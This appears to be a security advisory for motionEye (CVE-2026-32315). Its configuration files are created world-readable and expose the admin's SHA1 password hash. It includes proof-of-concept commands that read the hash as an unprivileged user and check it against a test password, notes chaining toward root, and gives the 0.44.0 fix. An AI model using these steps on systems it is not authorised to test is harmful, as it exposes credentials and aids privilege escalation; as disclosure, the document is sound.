motioneye
Affected
- introduced
0, fixed0.44.0(ecosystem)
Fixed versions
0.44.0
Fix
- Fixed version
0.44.0pip install --upgrade motioneye==0.44.0
Advisory
Also known as: CVE-2026-32315, PYSEC-2026-2666
motionEye's World-Readable Configuration File Exposes Admin Password Hash
Security Advisory: World-Readable Configuration File Exposes Admin Password Hash in motionEye
Summary
motionEye v0.43.1 and prior versions create the configuration file /etc/motioneye/motion.conf with 644 permissions (-rw-r--r--), making it readable by any local user on the system. This file contains sensitive data including the admin password hash, which can be leveraged by other vulnerabilities to escalate privileges.
Affected Versions
0600 mode to motion.conf and camera-*.conf files)Vulnerability Details
World-Readable Configuration File (CWE-732)
When motionEye writes its configuration, the file /etc/motioneye/motion.conf is created with 644 permissions regardless of the installation method. This file contains the admin password hash in the @admin_password field:
# @admin_username admin
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37
Any local user can read this hash without elevated privileges:
$ sudo -u testuser cat /etc/motioneye/motion.conf
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37
Additionally, per-camera configuration files (camera-*.conf) are also created with the same 644 permissions, potentially exposing camera-specific credentials and settings.
Impact
The exposed admin password hash enables several attack paths:
Proof of Concept
The following demonstrates that an unprivileged user can read the admin password hash from the config file and verify it matches the admin's password:
# Verify the file permissions
$ ls -la /etc/motioneye/motion.conf
-rw-r--r-- 1 motion motion 255 Mar 11 15:42 /etc/motioneye/motion.conf
# Read the hash as an unprivileged user
$ sudo -u testuser cat /etc/motioneye/motion.conf | grep admin_password
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37
# Verify the hash matches the admin password (SHA1)
$ sudo -u testuser python3 -c "import hashlib; print(hashlib.sha1(b'testpassword123').hexdigest())"
c18006fc138809314751cd1991f1e0b820fabd37
Verified Output
The following output was captured on a fresh motionEye v0.43.1b4 installation (official motioneye_init method, admin password set to testpassword123):
$ ls -la /etc/motioneye/motion.conf
-rw-r--r-- 1 motion motion 255 Mar 11 15:42 /etc/motioneye/motion.conf
$ sudo -u testuser cat /etc/motioneye/motion.conf | grep admin_password
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37
$ sudo -u testuser python3 -c "import hashlib; print(hashlib.sha1(b'testpassword123').hexdigest())"
c18006fc138809314751cd1991f1e0b820fabd37
The hash extracted by the unprivileged testuser matches the SHA1 of the admin password, confirming full credential exposure.
Reproduction Steps
This vulnerability has been tested and confirmed with both installation methods described in the official motionEye documentation.
Method 1: Manual Installation
sudo pip install motioneye
mkdir -p /etc/motioneye /var/log/motioneye /var/lib/motioneye /run/motioneye
cp /usr/local/lib/python3.12/dist-packages/motioneye/extra/motioneye.conf.sample /etc/motioneye/motioneye.conf
sudo meyectl startserver -c /etc/motioneye/motioneye.conf
http://localhost:8765 ls -la /etc/motioneye/motion.conf
# -rw-r--r-- 1 root root 255 ... /etc/motioneye/motion.conf
sudo -u testuser cat /etc/motioneye/motion.conf
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37
Method 2: Official motioneye_init Installation
sudo pip install motioneye
sudo motioneye_init
motioneye_init script automatically creates the required directories, installs the systemd service, and starts motionEye. Set an admin password via the web UI at http://localhost:8765 ls -la /etc/motioneye/motion.conf
# -rw-r--r-- 1 motion motion 255 ... /etc/motioneye/motion.conf
Note that while the ownership changes to motion:motion (instead of root:root in the manual method), the permissions remain 644, meaning any local user can still read the file.
sudo -u testuser cat /etc/motioneye/motion.conf
# @admin_password c18006fc138809314751cd1991f1e0b820fabd37
Both installation methods produce the same vulnerable state, confirming this is the default behavior of the software and not a user misconfiguration.
Related Vulnerabilities
image_file_name, which requires admin authentication. When chained with both this vulnerability and GHSA-45h7-499j-7ww3, enables local privilege escalation to rootSuggested Remediation
motion.conf and camera-*.conf with 600 permissions (-rw-------), readable only by the motionEye service user (addressed in motionEye 0.44.0b1)Timeline
Medium Basis: The source's own band: MODERATE
0, fixed 0.44.0 (ecosystem)0.44.0
0.44.0pip install --upgrade motioneye==0.44.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0